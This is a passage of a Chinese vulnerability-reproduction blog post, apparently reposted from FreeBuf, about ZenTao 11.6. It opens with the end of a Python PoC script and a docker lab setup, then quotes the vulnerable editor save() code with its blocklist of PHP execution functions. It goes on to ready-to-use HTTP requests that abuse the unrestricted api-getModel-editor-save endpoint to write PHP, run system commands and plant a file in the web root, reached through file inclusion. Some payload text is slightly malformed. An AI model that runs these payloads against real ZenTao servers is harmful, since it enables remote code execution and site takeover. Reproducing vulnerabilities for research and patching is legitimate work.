zentaosid = str(input("�33[35mZentaosid >>> �33[0m"))
POC_1(target_url)
POC_2(target_url, zentaosid)
POC_3(target_url, zentaosid)
漏洞分析
使用docker环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上面 禅道 11.6版本 SQL注入漏洞关于此漏洞的完整分析
查看module/api/ediyor/moudel.php下的save方法
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}
$ filePath参数和 $fileContent参数我们是可控的
调用方法往 /tmp写入一个phpinfo()


在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1

也可以写入网站目录中,先获取地址
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
POST:fileContent=<?php system('find / -name ioncube.php')?>');?>
访问http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1

得到目录为 /app/zentaopma/www,请求改为
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
再去访问http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1则会再网站目录下生成 xxx.php 文件


原文链接:https://www.freebuf.com/articles/web/444382.html
原文始发于微信公众号(亿人安全):禅道各版本漏洞复现汇总上篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-







评论